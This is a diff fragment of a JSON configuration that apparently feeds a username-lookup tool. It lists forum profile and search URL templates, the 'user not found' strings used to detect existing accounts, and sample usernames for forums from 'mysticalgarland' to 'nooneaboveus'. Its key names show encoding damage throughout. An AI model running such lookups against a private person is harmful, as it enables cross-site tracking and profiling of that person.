+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.mystic-school.ru/u/{}/summary",
+ "urlMain": "https://forum.postwrestling.com",
+ "usernameON": "ivan",
+ "bad_site": ""
+ },
+ "Forum_mysticalgarland": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://mysticalgarland.at.ua/index/8-0-{}",
+ "urlMain": "https://mysticalgarland.at.ua",
+ "usernameON": "rusanov19110088",
+ "bad_site": ""
+ },
+ "Forum_mysurvival": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://mysurvivalforum.com/members/?username={}",
+ "urlMain": "https://mysurvivalforum.com",
+ "usernameON": "mekada",
+ "comments": "bad",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": 1
+ },
+ "Forum_mytractor": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.mytractorforum.com/members/?username={}",
+ "urlMain": "https://www.mytractorforum.com",
+ "usernameON": "fuzzy2",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_mytrans": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://mytrans.3dn.ru/index/8-0-{}",
+ "urlMain": "https://mytrans.3dn.ru",
+ "usernameON": "kirilvoshnovskiy",
+ "bad_site": ""
+ },
+ "Forum_myvisualdatabase": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No users were",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://myvisualdatabase.com/forum/userlist.php?username={}&show_group=-1&sort_by=username&sort_dir=ASC&search=Search",
+ "urlMain": "https://myvisualdatabase.com",
+ "usernameON": "DriveSoft",
+ "bad_site": ""
+ },
+ "Forum_myword": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://myxlam.clan.su/index/8-0-{}",
+ "urlMain": "https://myxlam.clan.su",
+ "usernameON": "nagimrasul",
+ "bad_site": ""
+ },
+ "Forum_mzee": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.mzee.com/forum/members/?username={}",
+ "urlMain": "https://www.mzee.com",
+ "usernameON": "eduardo",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_n2td": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.n2td.org/index.php?members/&username={}",
+ "urlMain": "https://forum.n2td.org",
+ "usernameON": "dylansmall",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_nabran": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.nabran.ru/index/8-0-{}",
+ "urlMain": "http://www.nabran.ru/",
+ "usernameON": "ghgjjg",
+ "bad_site": ""
+ },
+ "Forum_nada25": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://nada25.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nada25.ucoz.ru",
+ "usernameON": "svn",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_nag": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пожалуйста, подождите",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "0 результатов",
+ "errorTyp��": "message",
+ "url": "https://forum.nag.ru/index.php?/search/&q={}&start_after=any",
+ "urlMain": "https://forum.nag.ru",
+ "usernameON": "frol13",
+ "bad_site": ""
+ },
+ "Forum_nameberry": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://forum.nameberry.com/u/{}/summary",
+ "urlMain": "https://forum.nameberry.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_Namepros": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.namepros.com/members/?username={}",
+ "urlMain": "https://www.namepros.com",
+ "usernameON": "velted",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_napolimagazine": {
+ "country": "🇮🇹",
+ "country_klas": "IT",
+ "errorMsg": "Nessun argomento o messaggio",
+ "errorMsg2": "Al momento non ti",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.napolimagazine.info/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Cerca",
+ "urlMain": "https://www.napolimagazine.info/",
+ "usernameON": "pinos",
+ "bad_site": ""
+ },
+ "Forum_narkomanija": {
+ "country": "🇪🇺",
+ "country_klas": "EU",
+ "errorMsg": "Information",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.narkomanija.ba/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://forum.narkomanija.ba",
+ "usernameON": "sanela",
+ "bad_site": ""
+ },
+ "Forum_narutoshiprus": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://narutoshiprus.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://narutoshiprus.ucoz.ru",
+ "usernameON": "fint333",
+ "bad_site": ""
+ },
+ "Forum_nash-dialog": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://nash-dialog.com/members/?username={}",
+ "urlMain": "https://nash-dialog.com",
+ "usernameON": "nuarr",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_nashaplaneta": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено ни одного пользователя по заданным критериям",
+ "errorMsg2": "0 пользоват",
+ "errorTyp��": "message",
+ "url": "https://nashaplaneta.net/forum/memberlist.php?username={}",
+ "urlMain": "https://nashaplaneta.net",
+ "usernameON": "nausla",
+ "bad_site": ""
+ },
+ "Forum_nashausadba": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://nashausadba.com.ua/forum/members/?username={}",
+ "urlMain": "https://nashausadba.com.ua",
+ "usernameON": "manana",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_nashtransport": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "По вашему запросу ничего не найдено",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.nashtransport.ru/search/?q={}&quick=1&type=blog_entry",
+ "urlMain": "https://www.nashtransport.ru",
+ "usernameON": "kventz",
+ "bad_site": ""
+ },
+ "Forum_nationsglory": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorMsg": "Erreur",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Pseudo inexistant",
+ "errorTyp��": "message",
+ "url": "https://nationsglory.fr/profile/{}",
+ "urlMain": "https://nationsglory.fr",
+ "usernameON": "nimomoney",
+ "bad_site": ""
+ },
+ "Forum_navi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://forum.navi.gg/search?query=&orderByType=relevance&user=+§ion=&calendarDate=",
+ "urlMain": "https://forum.navi.gg/",
+ "usernameON": "termenator46",
+ "bad_site": ""
+ },
+ "Forum_navyclub": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://navyclub.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://navyclub.ucoz.ru",
+ "usernameON": "Delfa",
+ "bad_site": ""
+ },
+ "Forum_naydemvam": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "ничего не найдено",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://naydemvam.naydemvam.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC",
+ "urlMain": "https://naydemvam.naydemvam.ru",
+ "usernameON": "Urri",
+ "bad_site": ""
+ },
+ "Forum_nba777": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nba777.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nba777.ucoz.ru",
+ "usernameON": "JustinFem",
+ "bad_site": ""
+ },
+ "Forum_nbcsportsedge": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W",
+ "errorMsg": "0 results",
+ "errorMsg2": "0 user",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forums.nbcsportsedge.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.nbcsportsedge.com",
+ "usernameON": "Jtraysfan",
+ "bad_site": 1
+ },
+ "Forum_Ne-kurim": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://ne-kurim.ru/members/?username={}",
+ "urlMain": "https://ne-kurim.ru/",
+ "usernameON": "gpp",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_necropolis": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://necropolis.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://necropolis.ucoz.ru",
+ "usernameON": "RuTOR",
+ "bad_site": ""
+ },
+ "Forum_nedvizimost": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://nedvizimost.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nedvizimost.ucoz.ru",
+ "usernameON": "natayovzhik",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_nemodniy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "НЕМОДНЫЙ КЛУБ. ",
+ "errorTyp��": "message",
+ "url": "http://forum.nemodniy.ru/member.php?username={}",
+ "urlMain": "http://forum.nemodniy.ru",
+ "usernameON": "MEDBEDb",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Forum_neodni": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.my-neodni.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://www.my-neodni.ucoz.ru",
+ "usernameON": "probe505",
+ "bad_site": ""
+ },
+ "Forum_neptuneos": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.neptuneos.com/public/u/{}",
+ "urlMain": "https://forum.neptuneos.com",
+ "usernameON": "leszek",
+ "bad_site": ""
+ },
+ "Forum_nerchinsk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nerchinsk.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nerchinsk.ucoz.ru/",
+ "usernameON": "tarogadanie11",
+ "bad_site": ""
+ },
+ "Forum_netcookingtalk": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://netcookingtalk.com/forums/members/?username={}",
+ "urlMain": "https://netcookingtalk.com",
+ "usernameON": "rickismom",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_netdietam": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://netdietam.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://netdietam.ucoz.ru/",
+ "usernameON": "lomaempochtu",
+ "bad_site": ""
+ },
+ "Forum_netduma": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.netduma.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.netduma.com",
+ "usernameON": "vpn",
+ "bad_site": ""
+ },
+ "Forum_nettractortalk": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.nettractortalk.com/forums/members/?username={}",
+ "urlMain": "https://www.nettractortalk.com/",
+ "usernameON": "chennaicontainers",
+ "comments": "RUblock",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_nevendaar": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nevendaar.3dn.ru/index/8-0-{}",
+ "urlMain": "https://nevendaar.3dn.ru",
+ "usernameON": "Химера",
+ "bad_site": ""
+ },
+ "Forum_neveroyatno": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://neveroyatno.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://neveroyatno.ucoz.ru",
+ "usernameON": "serko78",
+ "bad_site": ""
+ },
+ "Forum_new-journals": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://new-journals.at.ua/index/8-0-{}",
+ "urlMain": "https://new-journals.at.ua",
+ "usernameON": "petrjarik77",
+ "bad_site": ""
+ },
+ "Forum_new-nedvigimost": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://new-nedvigimost.moy.su/index/8-0-{}",
+ "urlMain": "https://new-nedvigimost.moy.su",
+ "usernameON": "olgapet946",
+ "bad_site": ""
+ },
+ "Forum_newcok": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://newcok.ru/index/8-0-{}",
+ "urlMain": "http://newcok.ru/",
+ "usernameON": "Kass",
+ "bad_site": ""
+ },
+ "Forum_newjerseyhunter": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.newjerseyhunter.com/members/?username={}",
+ "urlMain": "https://www.newjerseyhunter.com",
+ "usernameON": "slayer1962",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_newlcn": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Sorry, but that user does not exist.",
+ "errorMsg2": ">Information ",
+ "errorTyp��": "message",
+ "url": "http://forum.newlcn.com/profile.php?mode=viewprofile&u={}",
+ "urlMain": "http://forum.newlcn.com",
+ "usernameON": "sckameikin22",
+ "bad_site": ""
+ },
+ "Forum_newload_ucoz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://newload.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://newload.ucoz.ru",
+ "usernameON": "Shinjitzu",
+ "bad_site": ""
+ },
+ "Forum_newnissanz": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.newnissanz.com/members/?username={}",
+ "urlMain": "https://www.newnissanz.com",
+ "usernameON": "speczracer",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_newpower": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://newpower.at.ua/index/8-0-{}",
+ "urlMain": "https://newpower.at.ua",
+ "usernameON": "kot358194",
+ "bad_site": ""
+ },
+ "Forum_newrider": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://newrider.com/members/?username={}",
+ "urlMain": "https://newrider.com",
+ "usernameON": "trewsers",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_newros": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://newros.ru/index/8-0-{}",
+ "urlMain": "http://newros.ru",
+ "usernameON": "mrferos921",
+ "bad_site": ""
+ },
+ "Forum_newschoolers": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Please wait",
+ "errorMsg2": "Sorry, we couldn't find anything that matched your search query.",
+ "errorTyp��": "message",
+ "url": "https://www.newschoolers.com/search?tab=members&s={}",
+ "urlMain": "https://www.newschoolers.com",
+ "usernameON": "skierman",
+ "bad_site": ""
+ },
+ "Forum_next-gazel": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован",
+ "errorMsg2": "Результатов поиска нет",
+ "errorTyp��": "message",
+ "url": "https://next-gazel.ru/forum/member.php?username={}",
+ "urlMain": "https://next-gazel.ru",
+ "usernameON": "cmd368tv",
+ "bad_site": ""
+ },
+ "Forum_nexusmods": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forums.nexusmods.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.nexusmods.com",
+ "usernameON": "EvilFixer",
+ "bad_site": ""
+ },
+ "Forum_nf-club": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://nf-club.ru/index/8-0-{}",
+ "urlMain": "http://nf-club.ru",
+ "usernameON": "SloNF",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_ngs": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": " 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nicolaspark.my1.ru/index/8-0-{}",
+ "urlMain": "https://nicolaspark.my1.ru",
+ "usernameON": "fox",
+ "bad_site": ""
+ },
+ "Forum_niflheim": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://niflheim.world/members/?username={}",
+ "urlMain": "https://niflheim.world",
+ "usernameON": "mouro3100",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_Night_kharkov": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "
403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://night.kharkov.ua/index/8-0-{}",
+ "urlMain": "http://night.kharkov.ua",
+ "usernameON": "lauraao1",
+ "bad_site": ""
+ },
+ "Forum_nikmc": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://nikmc-i.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://nikmc-i.ucoz.ru",
+ "usernameON": "zaiacsania",
+ "bad_site": ""
+ },
+ "Forum_nikola": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nikola-apx.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nikola-apx.ucoz.ru",
+ "usernameON": "Ilya",
+ "bad_site": ""
+ },
+ "Forum_nikonites": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://nikonites.com/forum/members/?username={}",
+ "urlMain": "https://nikonites.com/",
+ "usernameON": "weebee",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_nikopol": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nikopol.moy.su/index/8-0-{}",
+ "urlMain": "https://nikopol.moy.su",
+ "usernameON": "roterb",
+ "bad_site": ""
+ },
+ "Forum_nikos": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://nikos.at.ua/index/8-0-{}",
+ "urlMain": "https://nikos.at.ua",
+ "usernameON": "Saymon",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_nim-lang": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://forum.nim-lang.org/profile/{}",
+ "urlMain": "https://forum.nim-lang.org",
+ "usernameON": "SolitudeSF",
+ "bad_site": ""
+ },
+ "Forum_nintendo": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.nintendoforums.com/members/?username={}",
+ "urlMain": "https://www.nintendoforums.com",
+ "usernameON": "dustinb12",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_nissan": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.nissanforums.com/members/?username={}",
+ "urlMain": "https://www.nissanforums.com",
+ "usernameON": "weeaboo123",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_nissanclub": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.nissanclub.com/members/?username={}",
+ "urlMain": "https://www.nissanclub.com",
+ "usernameON": "administrator",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_nissanzclub": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.nissanzclub.com/forum/members/?username={}",
+ "urlMain": "https://www.nissanzclub.com",
+ "usernameON": "mcn1smo",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_njofficer": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information ",
+ "errorMsg3": "Contact your hosting provider",
+ "errorTyp��": "message",
+ "url": "https://www.njofficer.com/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://www.njofficer.com",
+ "usernameON": "JRoberts",
+ "comments": "Oplata",
+ "bad_site": 1
+ },
+ "Forum_nkp": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nn2000.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nn2000.ucoz.ru",
+ "usernameON": "nn2000",
+ "bad_site": ""
+ },
+ "Forum_nocd": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nocd.ru/index/8-0-{}",
+ "urlMain": "https://nocd.ru",
+ "usernameON": "Fridrih",
+ "bad_site": ""
+ },
+ "Forum_noginsk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://noginsk.ucoz.com/index/8-0-{}",
+ "urlMain": "https://noginsk.ucoz.com",
+ "usernameON": "Skyler",
+ "bad_site": ""
+ },
+ "Forum_nohide": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://nohide.io/members/?username={}",
+ "urlMain": "https://nohide.io",
+ "usernameON": "gamerocs",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_nokia6230i": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://nokia6230i.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nokia6230i.ucoz.ru",
+ "usernameON": "Dim0271",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_nokiasoft": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://nokiasoft.3dn.ru/index/8-0-{}",
+ "urlMain": "https://nokiasoft.3dn.ru",
+ "usernameON": "OOccuts",
+ "bad_site": "",
+ "comments": "bad",
+ "exclusion": "\\W"
+ },
+ "Forum_nomadbsd": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://forum.nomadbsd.org/u/{}/summary",
+ "urlMain": "https://forum.nomadbsd.org",
+ "usernameON": "borgio3",
+ "bad_site": ""
+ },
+ "Forum_nonarko": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum-nonarko.ru/members/?username={}",
+ "urlMain": "https://forum-nonarko.ru",
+ "usernameON": "GAVR",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_nooneaboveus": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
